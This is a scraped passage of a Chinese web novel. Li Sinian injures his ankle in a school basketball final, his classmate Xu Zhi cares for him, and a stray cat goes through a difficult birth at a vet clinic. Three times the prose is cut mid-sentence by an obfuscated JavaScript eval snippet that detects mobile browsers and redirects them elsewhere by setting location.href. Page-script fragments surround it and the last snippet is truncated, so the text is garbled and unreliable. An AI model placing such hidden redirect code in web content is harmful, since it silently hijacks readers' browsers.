“我对篮球不是很感兴趣,不太了解。”许之说。 许贺亮常年都在庆高带校队,他为了躲许贺亮,从来不往校体育馆那边去,见到校队的人也绕道走,能少沾边就少沾边。 “噢,好吧。”方行舟耸耸肩,又自行打气,“没事,咱们育德的校队一直打得好,几个主力都是体育生,这场肯定不能输!” 许之跟着点点头,其实他对比赛结果无所谓,不过李斯年在哪个队,他当然就希望这个队能赢。 观众就绪后,李斯年等队员就陆续上场了。 李斯年首先往庆高篮球队的教练区看去,果然没有许贺亮的影子。 “季老师,他们队的主教练怎么不在呢?”李斯年装作随口打听。 季老师一笑:“你说许老师啊?他昨晚突然说家里有事,也不知道是什么事这么急,得连夜赶回去。” 他说着,又转向其他人,做动员打气:“今天他们队只有副教练坐镇,肯定情绪上会受影响,咱们只要稳住自己的打法和配合,不骄不躁,一定能拿下!加油!” “加油——!”众人手叠在一起,齐声道。 李斯年心下觉得挺好笑,许贺亮果然像是个阴沟里的老鼠,又阴毒又胆小,大概是惧怕李斯年把这件事捅给李宇和许茜,竟然连夜就跑回庆城,连比赛都不管了。 决赛开始前,所有队员一起上场致意,李斯年穿着队服,黑发蓬松,随随便便往那一站,就是标准的高帅阳光少年。 篮球队里向来不缺个子高的人,但偏偏他这个替补最吸人眼球,许之心想,可能有些人天生就适合受人瞩目。 伴随着欢呼与口哨声,比赛开始。 两边势均力敌,这也正是这场决赛的好看之处。 李斯年在一旁也看得津津有味,他心里早就做好准备,自己是不会上场的,甚至就连教练也没打算让他上场。 但下半场时,偏偏接连有人负伤。 “对面有个寸头替补动作太脏了,故意冲撞。”季老师压低声音,有些愤愤然的对教练说。 教练眉头紧锁,看了一眼比分,育德篮球队尚处优势,他走到受伤队员面前,蹲下身询问队医:“怎么样?” “我还能打!”受伤队员抢话道。 “别逞强!”教练说。 “只是表皮擦伤,不严重,我这边会做应急处理,但最好还是稍作休息。”队医回答。 “预估多久?”教练问。 “五分钟就可以。” 教练点点头,站起身,抬手一挥:“李斯年!” 李斯年愣了一下,站起身,快步跑来:“教练。” “撑五分钟,不被反超比分,能做得到吗?”李斯年的训练强度偏弱,和此刻场上的打法配置也不算契合,但没办法,实在无人可用了。 李斯年感觉到教练放在自己肩膀上的手沉甸甸,一扭头,队员们的目光坚定而信任,使命感瞬间就爬上心头,他点头:“能!” “好了,大家打起精神!按照之前训练的来就行!”教练拍拍手,鼓舞士气,暂停时间随之结束。 “卧槽,李斯年怎么上场了?!”观众席见此,也起了欢呼声,方行舟却忍不住担心起来:“虽然我们有优势,但比分咬的挺紧的……” 许之默不作声,表情依然是淡淡的,只有双手的交错握紧暴露了内心紧张。 他虽然不是很懂篮球,但在方行舟的整场讲解之下,也知道了庆城高中队下半场轮上来的那个替补有点爱刷阴招,比较棘手。 比赛继续,李斯年很快就融入了队伍节奏中,大家以防守为主,但没多久,对方队员就看出了他们的战术意图,从而加紧了强攻节奏。 哨声响,对方投进一球三分,比分来到68:74。 训练默契的差距随着时间开始渐渐凸显,庆城高中的队员互相配合,四分钟后,成功将比分拉到了72:74。 汗水顺着李斯年额角流下。 没上场时什么都好说,没好胜心也好、对打比赛兴趣不大也罢。 但只要站在这里一秒,他就背负着队员们和观众的厚望。 还剩一分钟而已了,无论如何,都不能让对方将比分拉超! “新上场的替补行不行啊?!被突破好几次了。”方行舟身后,一个同学抱怨了句。 “对方明显是在针对他,不过……他好像的确和其他人磨合的不是很好。”另一人说。 有人笑了笑:“这可是李斯年,咱们育德有名的富二代,喜欢他的妹妹们可多了,你们讲话小心点,别等下被打!” “就是他啊?前段时间说自己是同性恋的那个?” “哈哈哈,都同性恋了,还有妹妹喜欢呢。” 许之听在耳里,皱起了眉头。 而方行舟脾气急,当下转过身去:“谁啊,讲话那么大声,还让不让人看球了!要聊天出门左拐!” 后排是几个低年级的学生,经这么一吼,还真被威慑住了,缩了缩脖子,不再言语。 球来到了那个寸头替补手里,李斯年死盯他,转了好几个角度,都没让对方找到合适的投球时机。 寸头替补脚下略作停顿,做了个虚晃传球的假动作,可惜没能骗过李斯年,他脸上闪过不耐神色。 李斯年怕对方找机会碰瓷,拿到罚球机会,一直谨慎控制,将站位拿捏的非常准确。 不料下一秒,寸头替补突然伸腿一别,李斯年后撤不及,一时间脚踝受满了力,前扑在地。 寸头替补侧身挪位,抓准时机,投球入篮! 三分球,比分反超,75:74。 哨声响起,育德篮球队教练申请暂停,队员将李斯年扶起,回到休息区,季老师随之走去裁判处,提出对庆城高中队刚才得分的质疑。 “庆高队员根本就是犯规了,罚球!罚球!”方行舟义愤填膺,连带着观众里许多育德的学生也开始嘘声一片。 但许之的注意力却在休息区,隔得这么远,他都能看到李斯年明显有些扭曲的表情。 紧接着,队医快步跑来,脱下他右脚的鞋袜,抬平了起来,一阵简单处理之后,又喊了两个人,把他架离了场。 “诶,你要去哪?”方行舟正跟着大家起哄,扭头看到许之站起来了。 “卫生间。”许之说。 - 休息室内,两个队医围在李斯年左右,不过几分钟,他原本泛红的脚踝已经肿得老高。 队医进行二次检查,表情严肃:“大概率是韧带损伤,不能确定具体受损程度和关节的情况,还是送医吧。” “这么严重?”李斯年以为只是崴脚扭伤。 “严不严重要做检查才知道,你也别太担心。”队医安慰他,随后就联系了车,把人送去就近的骨科医院。 许之寻到休息室时,已经是空无一人。 给李斯年发微信,半天也没见回复。 他心中有些焦急。 沿着走道,一间间找,直到在拐角处看到有个队医往回走,快步上前,拦住人:“你好,请问李斯年人呢?” “你是?” “我是他同学。” “喔,他刚脚别了一下,十有八九是韧带损伤,已经送去骨科医院了。”队医答。 许之眉头紧皱,追问:“有没有伤到骨头?” “这个要去医院了才知道。” 比赛还在继续,队医说完,就匆匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401235|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开了。 这边李斯年到医院后,医生立刻安排他拍了个片子。 情况不算坏,没有伤到骨头,韧带只是受损而未撕裂,不用打石膏,只需要佩戴固定器,防止脚腕二次受伤,这一个月最好要用拐杖辅助行走。 由于是在学校比赛中受的伤,董老师得到消息后,紧赶慢赶到了医院,以学校的名义承担了所有费用。 许之来到医院,一层一层找人,到四楼,才终于看到李斯年,他正坐在候诊椅上,右脚已经绑上了固定器,伸直在前。 “诶,你怎么来了?”李斯年看到许之,咧嘴一笑,跟张罗人到自己家似的,拍拍旁边的空椅。 见到了人,许之悬着的心这才稍稍放下,他坐到李斯年身边,手肘撑着膝盖,大口喘着气,汗水从脸侧滑落,连带着额前的刘海也湿成一缕缕的。 “怎么喘成这样,你是跑来的?”李斯年侧过头去看他,有些惊讶,“这么担心我?” 这人还有心思说笑,估计情况不是很糟糕,许之看向他脚上蓝色的固定器:“检查结果怎么样?” “没什么大问题,只是拉伤,还好没撕裂。”李斯年说话间,董老师腋下夹着两根拐杖够了过来。 董老师知道许之妈妈和李斯年爸爸的关系,看到许之在这,并不惊讶,以为是李宇叫来接人的,他将拐杖递给李斯年:“试试看。” 李斯年扶着椅靠单脚站起身,将两根拐杖架好,高度挺适中的,就是走起路来太慢了,他自己都觉得有点着急。 “那你们今天就先回家,好好休息,接下来这一个月,早自习可以不用那么准点到了,但第一节课之前得来啊。”董老师说着,去按了电梯,将许之和李斯年送到医院门口,叫了一辆出租车。 许之先扶着李斯年上了副驾驶,然后拿着他的拐杖去了后座。 “师傅,碧水名城。”李斯年和司机说。 “按时吃药,遵医嘱,这几天别沾水啊。”董老师嘱咐道。 “好,我知道了,谢谢老师。” 车开,李斯年侧头,看着老董头胖胖的身躯消失在后视镜中,才又开口:“师傅,刚才说错了,去三岔巷子。” 三岔巷子进不去四轮车,二人在路边就下了车,傍晚时分,路灯下的小摊贩接连就位,李斯年鼻子一嗅,看向那家卖小龙虾的。 然而他拐杖刚动,许之的手就按在了手托上。 李斯年:? 许之:“医生应该有说需要忌口吧?海鲜、发物和生冷辛辣不能碰。” “好像似乎可能……提了一嘴。”李斯年说完,正义的纠正道,“但小龙虾不是海鲜,是河里的!” “那你愿意吃原味的小龙虾吗?”许之问。 李斯年眼睛一转,一本正经:“这个问题啊,我觉得要辩证来看,就比如说,我不觉得辣的那种辣,是不是就不算辛辣?” 这人睁着眼睛说瞎话的功夫真是炉火纯青,但许之这次却意外的有耐心,认真的回答:“不行,这事儿不兴唯心主义。” 李斯年深深的叹了口气,小龙虾就是要吃辣味的、再不济也要是蒜香,原味简直是亵渎了小龙虾的虾魂。 于是他退而求其次:“那我还是吃炒饭吧,啊对了,还要一瓶冰可乐。” “冰的算生冷。” “这也太严格了吧!”郑秀去世后,李斯年常年处于放养状态,很久没这么被人管过了,“我的伤也没有很严重啦。” “前一周还是注意一下比较好,不过……”许之话头一转,松开了他的拐杖,“我也只是建议,你不听的话,我也不能强迫你。” 这架势哪里像是能不听的样子,李斯年心里想着,莫名觉得这样被管着的感觉还不赖:“行行行,那你去点吧!” 许之眼角微弯,像是清风拂过的枝条,转头冲老板说:“两份炒饭、一瓶常温可乐,打包。” 24. 照料 二人将晚饭打包带回家吃,最近几天小白明显懒懒的,许之上网搜到这是生产的前兆,更加不敢掉以轻心。 吃完饭后,许之将饭盒和筷子收拾,准备丢出去,开门就看到一个齐刘海低马尾的女孩正端着碗走过来。 梁芷看到他,脚步一顿,她讲话总是微微垂着眼,很少直视对方,声音也很轻:“我、我给小白小黑炖了点牛肉。” “李斯年在里面。”许之示意。 梁芷点点头,进了屋,看到李斯年正吃饱喝足靠在床上,蓝色固定器十分惹眼,梁芷一惊:“斯年哥,你脚怎么了?” “小事,崴了下。”李斯年看她拿着碗就了然,“你这天天掏家里的冰箱喂猫,孙姨发现没?” 梁芷笑了笑:“大概知道吧,但也不说我。“ 她将碗放到窝前,小黑凑过来吃,小白却是睁了睁眼,不动。 梁芷拿了一块肉送到小白嘴边,她只是舔一口,然后别过头继续打盹。 “她这两天食欲都不是很好,我问了医生,说是可能快生了。”李斯年说. “啊。”梁芷有点紧张,“那怎么办,不吃会不会没力气生?” 李斯年一笑:“没关系,等下许之会用针管给他罐点奶糕罐头的。” 原来那个漂亮的男生等下还回来。 梁芷心下有些失落,从前喂猫的事情都是她来做,斯年哥偶尔需要帮什么忙,又不想让家里人知道,也会拜托她,因为她都会答应、而且也会保密。 但现在……感觉自己被李斯年或小黑小白需要的程度,在本就不算高的基础上,又降低了。 然而她什么也没说,只是应了声,又安静的摸了会儿猫,就起身准备回家,“斯年哥,你好好修养,碗放门外就行,我明天抽空来拿。” 李斯年正打着游戏,说了声“路上小心”,等一局打完,人已经走了。 他最近觉得这游戏越来越没意思了,输了生气、赢了也没那么有成就感,可能是玩腻了。 李斯年一边想着许之怎么丢个垃圾这么久,一边放下手机,略显吃力的挪动身体,从坐转为了躺靠。 小黑吃饱了,回到小白身边帮她舔毛,舔得认认真真、仔仔细细。 这一幕很温馨,看久了还怪催眠的,李斯年都有点困了。 许之就是在这时候回来的,他左手拎着东西,腾出右手开了门,又弯腰将放在地上的另一个塑料袋提进来。 “买什么了,这么一大堆?”李斯年好奇,起身又不方便,只能伸着脖子看。 许之将东西放到桌上,他脸颊是热出的红晕,李斯年觉得这人出点汗的时候更好看了,比平常要更生动些。 “你应该用得上。”许之将桌子挪到李斯年床边,充当床头柜,然后从塑料袋里拿出大桶水,拆开一个手压泵,装在上面。 因为是出租屋,比较稀碎的生活用品没有专门添置,属于能用就行。 刷牙都是用一次性塑料杯,更别提专门准备喝水的杯子了,一般都是放学路上随手提上一小桶矿泉水,喝完直接丢。 但如今伤了脚,出门买东西也不那么方便了,这个简易饮水机放在床头,就算半夜渴了也只需要伸伸手。 “这些东西多少钱,我等下打给你吧?”李斯年还记着上次四件套的事情。 许之看了他一眼,表情似乎不是很开心:“都是小东西,不贵。” “我是觉得你打工攒点钱太不容易了,你看,之前替我租房都已经花了那么多。”李斯年知道他自尊心重,解释道,“我不是在和你客套生分,你懂我意思吧?” 许之脸色稍霁:“嗯,不过这次就算了,真没多少钱。” 他说着,继续从袋子里掏东西,有快手速食、防滑拖鞋等实用的小物件,最让李斯年惊讶的是,他最后拿出一个白色的、类似椅子但中间掏空的东西。 没错,就是能把蹲便“改造”成马桶的东西。 饶是厚脸皮如李斯年,也略微窘迫了两秒:“你连这个都想着买了啊?” 许之理所当然道:“你现在也没办法蹲下,而且这个洗澡也可以用,单脚站容易滑倒。” 说着,把东西拿进了卫生间。 以前没看出来许之这么会照顾人,李斯年翘着腿躺在床上,看着他在小屋子里此刻倒腾来、倒腾去的模样,像极了那种贤惠又体贴的小媳妇。 小媳妇?李斯年被自己吓了一跳,他怎么会突然联想到这个词。 “水接好了。”许之说。 “啊?什么?”李斯年回过神。 “热水。”许之指了指李斯年身上汗湿后又晾干,皱巴巴的队服。 李斯年这才想起来,他下午比赛时出了一身汗,按说一到家就该赶紧洗澡的,拖到现在怕是衣服都已经臭了。 “好,谢谢。”李斯年撑起拐杖。 卫生间很窄,他两边胳膊因为拐杖而架起,进门有些困难。 正左转转、右扭扭试着找到合适的角度入内时,许之走上前,把拐杖接过,扶着他的胳膊,将人送到了简易坐便凳上。 桶里的水往外冒着热气,整个卫生间很快就弥漫起浓浓的水雾,李斯年抬头,见许之仍然站在原地。 他被蒸的脑子有点转不起来,想问许之怎么不出去,开口却是:“你帮我洗?” 李斯年开口的瞬间,许之也正抬起手。 他听言一顿,还是先将墙上置物架里的沐浴露拿了下来,转身放到李斯年旁边的地面,看向他的眼神有些迟疑:“你……需要?” 李斯年突然反应过来,人家本意只是想要帮他把用品都挪近一点而已。 “不不不,我刚想说的是你要帮我洗吗……不是,我的意思是,我能自己洗!”一定是卫生间太小了,水太热了,李斯年觉得自己又开始冒汗了。 许之站起身,隔着水雾,李斯年不太看得清他是什么表情,他伸手把毛巾推过来后,转身出去,带上了门。 “那没什么事的话,我就先回去了。”声音隔着门传来。 “啊,好。”李斯年说完,又补了句,“今天辛苦你了。” 不过一会,大门打开、关闭的声音接连响起,人应该是走了。 这种情况其实自己洗澡是挺麻烦的,李斯年花了平时两倍的时间才好不容易把队服脱下来,因为脚还不能沾水,只能简单用毛巾浸湿,擦一擦。 全部结束后,李斯年忽然意识到,他没有拿换洗的衣服进来。 不过反正许之已经走了,于是他单脚站起身,扶着墙慢慢挪到门口,打开门。 一阵塑料摩擦地面的声音传来,门外竟然放了一个塑料凳。 李斯年将门推得更开一些,看到凳上整整齐齐摞着短袖和运动长裤。 应该是许之放的吧。 李斯年一只手抓过衣服,放在最下面的灰色衣物抖落出来,是一条内裤。 李斯年愣了愣,把内裤捡起来,觉得卫生间大概需要安一个排风扇了,水雾这么久都散不去,有点热。 - 李倾诺早上起来,推开卧室门,久违的在餐厅看到了许之的身影。 但他并没有坐在桌前,而是站在厨房旁边和赵婶讲话。 “小少爷他口味比较重,也爱吃辣,如果是甜口的菜,比如可乐鸡翅、锅包肉这类,那最好还要再搭配两道咸口炒菜,至于最喜欢吃的菜嘛……” 赵婶思索片刻,“他从小就不挑食,只是比较爱吃肉,啊,对了,胡萝卜要炒熟炒软才行,他觉得生的有土腥味,另外也不吃姜,但切大片、放在菜里一起炒倒是没关系。” 李倾诺好奇道:“你们在聊什么呢?” “啊,就是小少爷的脚伤了,许少爷说想问问他平时喜欢吃什么,好给他带饭。”赵婶解释完,又向许之说,“俗话说吃哪补哪儿,我也熬点骨头汤,晚饭点让老江送到学校去。” “哥哥怎么受伤了?”李倾诺有点紧张。 “和庆城高中篮球队打决赛时崴了脚。”许之说。 李倾诺一听,眉头瞬间锁起,小嘴连珠炮般的问:“去医院了吗?严不严重?能走路吗?是在家休息还是去学校上学呢?你能带我去看他吗?” “已经去医院处理过了,不是很严重,就是走路有点慢,还是能上学,你放心,我会照看好他的。”许之耐心的一一回答,“你要是想去看他,等周末,我带你去。” 李倾诺觉得许之最近好像变了不少,虽然还是不常言笑,但整个人都没有刚开始那样拒人于千里之外了。 他这样慢慢的、稳稳当当的语气,也让李倾诺心中的焦急平息下来:“好吧……真的谢谢你。” 许之眼角带了些弧度:“应该的。” 李斯年先后帮了他那么多,还在紧要关头录下了许贺亮说的那些话,让他得以彻底摆脱这笼罩近三年的危险阴霾。 许之觉得实在是无以为报,只能尽量对李斯年好些,遇事多尽些心力。 时间不早了,许之提着赵婶准备好的早餐出门,江叔将他送到了育德学校大门口,下车后,他从侧面绕了半圈,走进了三岔巷子。 许之敲了敲门,听到里面的人问:“谁啊?”,才拿出备用钥匙开了门。 李斯年刚洗漱出来,只撑了一侧的拐棍,他发现这样走路更方便灵动些,缺点是受力不均,走久了,一边的胳膊内侧会很疼。 见到许之,李斯年有点意外:“你怎么来了?” “赵婶做了早饭,吃完再去学校。”许之说。 “受伤了就是好啊,有人照顾。”李斯年笑着坐下,一桌都是他爱吃的。 吃完之后,许之收拾好饭盒,把李斯年的书包也背在肩上,陪他撑着拐杖慢慢悠悠到学校,平时十分钟的路程,现在需要二十多分钟。 到班,刚好早自习结束,李斯年来到座位坐下,活动着酸疼的手臂。 方行舟拿起他的拐杖,在两组之间的过道上撑着玩:“用了这个,是不是就能一步抵两步,走得飞快?” “想得美,不仅走得慢,还胳膊疼。”李斯年抱怨了句,又问:“昨天比赛怎么赢的?” 方行舟昨晚就给他发消息说了比赛结果:“你被绊倒之后,那个家伙终于被罚下场了!进球那分也取消,我们这边得了罚球,后面就比分一路领先到结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401236|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 李斯年笑叹:“甚好甚好,这样我献祭的倒也值了。” 转眼上午四节课过去,李斯年一只脚伸直不能动,连趴桌子上睡觉都不如从前舒服,迷迷糊糊做了几个不记得内容的梦,醒来时教室里的人已经走光了。 抬手看表,十二点二十分。 而且一回头,每天雷打不动坐在座位上吃红薯玉米的许之竟然也不在。 他点开微信,刚想给人发信息,教室前门就被推开了。 许之端着一份盒饭走进来,放到他桌上。 李斯年有些受宠若惊:“你去食堂帮我买的?” “嗯。”许之点点头,回到自己的座位上,从抽屉里掏出不锈钢小饭盒。 李斯年打开面前的盒饭盖子,辣子鸡丁、鱼香肉丝、剁椒鱼块,正巧都是他爱吃的。 而且是食堂盒饭窗口最贵档位的三荤两素。 身后传来许之打开不锈钢卡扣的声音,李斯年觉得自己在前面大鱼大肉、人家在后面埋头啃玉米,这不太合适,况且自己的大鱼大肉还是人家带回来的。 于是李斯年拆开筷子,把唯一一个不辣的菜扒拉到对方的小饭盒里:“这么多我也吃不完,分你点。” 许之还没反应过来,碗里就堆满了鱼香肉丝,仿佛知道他会开口拒绝似的,夹完菜,人就飞速转回过身去了。 - 接下来的几天,李斯年就这样持续享受着许之无微不至的照料。 李斯年怕他是因为太记着许贺亮的事情,急于想做些什么感谢自己,于是和许之说了好几次,让他别有心理负担。 但许之虽然总是闷声点头,行为上却依然没有改变。 原来洋葱最中间的心里藏着的是草莓糖葫芦,外壳硬硬的,但其实非常容易融化,里面是多汁的草莓果肉,然后顺带着发现原来连外壳也是甜的。 每天帮忙提书包、接送上下学、早中晚带盒饭也就罢了,还会帮李斯年洗衣服,最后甚至还租了个轮椅来。 “再过一周我这只脚就能踩地借力了,用这个会不会有点太夸张啊?”李斯年坐在几乎占了小小出租屋五分之一区域的轮椅上,傻了眼。 “你不是说撑拐杖,胳膊不舒服。”许之说。 李斯年有些惊讶,他只是偶尔抱怨过一句,没想到却被对方记着了。 “我就租了半个月,等你能脱离拐杖了,再还回去。”许之说完,拿起脏衣篓要往卫生间走。 “诶,我已经网购了一个小型洗衣机!还带甩干功能的!”李斯年把轮椅轮子搓得飞起,终于在许之踏进卫生间前拦住了人。 “赵婶都没给我手洗过衣服,你又不是保姆,这样我太过意不去了。” “没事,现在的衣服不厚,洗起来也不麻烦。”许之很自然地说。 李斯年不知道,之前许之借住在许贺亮家时,他老婆从来不准许之把衣服和他们放在同一个洗衣机里洗,所以许之早就习惯了每天手洗自己的衣服。 冬天是最难熬的,厚实的衣服靠手拧不干,挂在外面还会结冰。 “还是留着吧,正好明天洗衣机到了之后,能有衣服丢进去试用看看。”李斯年说。 许之听了这话,也不再坚持,将脏衣篓放回原处,又从书包里掏出一沓笔记:“之前篮球训练时,有几节晚自习你不在,老师拓展了知识点,可以抽空看看。” 说完,检查了一下床头桶内饮用水尚且充足,摸了摸小白小黑,然后背上书包离开了。 李斯年拿起笔记来看,字迹工整、步骤详细,其实像他和许之这种成绩很好的人,平时根本不会记这么全的笔记,最多写两笔关键公式就能懂。 但许之这份明显是抄全了板书,一些老师口头说的解题思路也写上了,想必是为了确保他能全部看懂,李斯年通篇读完,也的确跟现场听了这节课似的。 小黑被纸张翻动的声音吸引,一跃跳到床上,叼了页纸往外拖。 “这个不能玩啦。”李斯年将纸抽了回来,小黑不满意的喵了声,顺势在床上打了个滚,熟练地开始磨爪子。 柔软的条纹床单在猫抓蹂躏之下,迅速皱成一团,李斯年忽然就想起超市销售员说的话——床单被套加两个枕套一共六百九十九! “这个好贵的,也不能抓啦。”李斯年轻拍床铺,假装要去摸小黑,小黑不爱被人碰,果然往旁边一躲,闪跳下了床。 边走,还不忘气鼓鼓的“喵呜”“嗷呜”了几句,仿佛在埋怨李斯年:怎么这也不能碰,那也不能碰! 李斯年将笔记理整齐,放回桌上,顺手接了杯水喝,准备去卫生间洗漱。 转动轮椅,来到卫生间,拐杖竟然就靠在门边,仿佛有人预知到轮椅进不去,需要在这里换成拐杖。 李斯年一低头,卫生间内侧靠门处,也不知什么时候放了张白色硅胶防滑垫,这样洗完澡去开门时,就更不容易滑倒了。 这有点像是玩游戏时,如果前面即将遇到大boss时,那一路上的物资和血瓶都会更多些。 区别在于,那是游戏策划精心设计、安排好的。 而这些,是许之准备的。 25. 生死 许之和李倾诺是次日中午时分来的,敲门没人应,许之虽然手里有钥匙,但也没直接开门,而是掏出手机打李斯年的电话。 隔着门,听到里头响起铃声。 而李斯年以为是广告骚扰电话,从被子里伸出一只手,看都没看就按挂了电话,翻个身想继续睡。 “李斯年?”许之在门外叫他的名字。 “估计没睡醒呢,直接开门吧。”李倾诺笑着眨眨眼,“我哥没有裸睡的习惯,没事。” 许之失笑,只好开了门,李斯年听到动静,钻出半个脑袋,看到人有点惊讶:“李糯糯?你怎么来了?” “我可是专程来看你,不欢迎啊?”李倾诺嘟起嘴,自顾自往屋里走,“原来这就是你离家出走后住的地方,好小哦。” 李斯年坐起身来,胡乱抓了两把头发,如李倾诺所说,他是穿着短袖中裤的。 他掀开被子,慢慢挪到床边:“小点好,屋子大了没人气儿。” 李斯年就一直觉得碧水名城的屋子太大了,其实也不全是面积大小的原因,主要是人少,郑秀走后,他和李宇的关系闹得僵,家里更是冷清到极点。 “对了,你的脚怎么样了?”李倾诺蹲下身来,关切道。 李斯年虚虚的抬了抬脚,“好多了,固定器下周就能拆了。” 李倾诺点着头,忽然就看到墙边猫窝,对亲哥的关心快速转移,激动道:“哥,你怎么养猫了!” “原本是流浪猫,快生了,所以暂时养在家里。”李斯年说。 这时,又响起敲门声,许之离门近,打开门,原来是洗衣机送到了。 李倾诺没见过这么小的洗衣机,饶有兴趣的拆开、插电,拿着说明书,把脏衣服丢进去试洗。 “咱们中午吃什么?”鼓捣完洗衣机,她站起身,环顾四周,“我看你这也不像是能做饭的样子。” 李斯年说:“有个小电热锅,做点简单的是够用了,不过今天你来,要不请你下馆子?” 李倾诺却摇头,她还想撸会儿猫呢:“不如点外卖吧?” “行,听你的。”李斯年打开外卖软件,点了附近的一家小炒。 饭菜很快就送到了,三人围在小小的桌上吃饭,手臂不用伸直就能夹到离自己最远的菜,莫名有种一顿饭吃的很热闹温馨的感觉。 快吃完时,猫窝突然发出一阵抓挠的动静,李倾诺放下筷子,跑过去看:“诶,她这是在挠什么?窝底下有什么东西吗?” 李斯年神色一正,也跟过去:“是不是在刨窝?” 只见小白一改这几日的慵懒散漫,正焦躁的在窝里转圈,还时不时地用前爪抓地,像是要把什么东西挖出来似的。 “真的是刨窝。”李斯年示意许之关掉大灯,自己抬手开了桌上的小台灯,又按停了正在轰隆作响的洗衣机,对李倾诺轻声说:“你记不记得妈妈以前喂的一只三花?就是这样,这是要生产的迹象。” 李倾诺也跟着紧张起来,大气都不敢出,李斯年把早就准备好的羊水球、脐带夹、碘伏等拿出来摆好,静静等待着。 一旁的小黑似乎也察觉到了什么,蹲在猫窝外面,目不转睛的看着小白。 半个小时过去了,小白从刨地变为侧卧,看起来有些疲惫,呼吸起伏的也比较快,这不是好的预兆,李斯年轻轻撩开她的尾巴,在后方看到一个半透明的水泡。 水泡已经半瘪了,连带着小白的尾巴根部也湿漉漉的。 “羊水球破了。”李斯年脸色有点差。 许之立刻将准备好的猫包拿出来,“要不要送医院?”他在网上搜到过,一般羊水球出来后,小猫很快也会生出来,但如果羊水球卡的太久、或破掉的话,就有很大可能是难产。 况且这还是第一只小猫,如果卡在产道太久,会窒息是其一,更麻烦的是还可能影响到肚子里剩下所有的小猫。 李斯年也只是小时候旁观郑秀帮流浪猫接生过,他不敢托大:“嗯,去医院。” 紧张之间,二人动作却有条不紊,许之把尿垫铺好在猫包底部,李斯年将小白抱了进去,还往侧面塞了几个她爱吃的罐头。 “你先去路口,帮忙拦一辆出租车。”李斯年扭头对李倾诺说。 “好!” 许之将猫包背在身上,走在前面,这时候坐轮椅太麻烦了,上下出租车都要折腾半天,于是李斯年干脆还是用回拐杖,出门时,小黑紧跟在他们脚跟后,叫声不停。 “乖乖的在家等。”这次和上次不一样,小白整个侧躺在猫包内,如果再把小黑放进去,反而可能让小白受伤。 李斯年耐心把小黑哄回屋内,“我们很快就回来,到时候你就能看到你的宝宝了。” 说着,关上了门。 - 到宠物医院后,医生进行了初步的检查,的确是第一只小猫卡在了产道,这种情况下有两种方案:注射催产素和剖腹产。 但小白的情况特殊,此刻注射催产素有风险,可能会直接让小猫在产道内挤压窒息而亡。 而剖腹产手术也并非十拿九稳,主要是小白现在身体情况已经比较虚弱了,呼吸麻醉的风险将会提升。 以往也有过类似案例,事关性命的情况下,医生只能给出所有方案的优劣对比,最终选择权还是要交给小猫家长,避免事后纠纷。 “情况紧急,需要尽快做决定。”医生说。 小白侧躺在检查室内,耳尖也耷拉下来,陌生的环境让她有些紧张,但已经没有力气做什么反应了,半合着眼睛,目光还放在许之身上,似乎在求助。 许之有点慌神,他下意识看向李斯年。 察觉到他的目光,李斯年微微点头回应,紧接着开口,声音低沉,镇定又果断:“那就手术吧,可以连带绝育一起做吗?” “可以。”医生说。 “那尽快安排吧,麻烦你了。”李斯年说完,看向许之,语气放缓了些,“走,我们出去等。” 其实这几天已经不算很热了,但宠物医院室内空调还是开的很足,连无处不在的酒精味窜进鼻腔也是凉飕飕,莫名给人一种不太安心的感觉。 李倾诺被李斯年劝回家等消息了,许之坐在前台大厅的长凳上,看着李斯年拄着拐杖忙前忙后,选择手术档位、缴费、签署知情同意书…… 今天周末,李斯年没穿校服,一身干净的灰色短袖,外面套着黑色的无袖夹克,背对着站在前台时,宽阔挺拔的身影看起来还真有几分大人模样。 仿佛只要他人在这里,就什么都不需要担心。 许之忽然觉得自己有这样的想法有点危险,不知从何时开始,他已经开始理所当然地去依赖李斯年了。 手术大概进行了四十分钟,除了在产道里的那一只已经缺氧没能抢救回来之外,小白和另外三只小猫都有惊无险。 李斯年和许之进去看时,小白正在笼子里醒麻,眼睛还没睁开,她腹部伤口处裹着网兜状的绷带,三小只在她腹部蠕动。 看得出是一只黑白相间、一只灰色、一只白色,毛发湿漉漉的贴在皮肤上,生动的诠释了什么叫做生着生着没墨水了这件事。 “因为母猫腹部有伤口,小猫可能会找不到吃奶的地方,需要家长回去后多注意,帮忙小猫找位置、称体重,如果每天体重增长不达标,需要人工补奶,用羊奶、不能喝牛奶。” 医生详细嘱咐着,“半小时后麻药醒了没有大问题的话,就可以带回家了,小猫目前还没有自我调节体温的能力,注意保暖,母猫也要补钙、多吃有营养的罐头或者肉类,一周之后带来拆线。” “好,谢谢医生。”直到这时,李斯年心中的大石头才终于落了地。 怎么会不慌张呢,只是当时李斯年看到许之脸上无助的表情,就下意识想要站在他前面,将自己的心情暂时忘掉,去成为事情的推进者。 回到出租屋时,已经临近傍晚。 李斯年在小超市买了毛毯、厨房秤和大的收纳箱,将收纳箱去掉盖子侧下来摆放,再垫上毛毯,就是一个温暖私密、又方便进出的窝了。 李斯年给四小只挨个称重,旁边的小白食欲还不错,吃了半碗加葡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 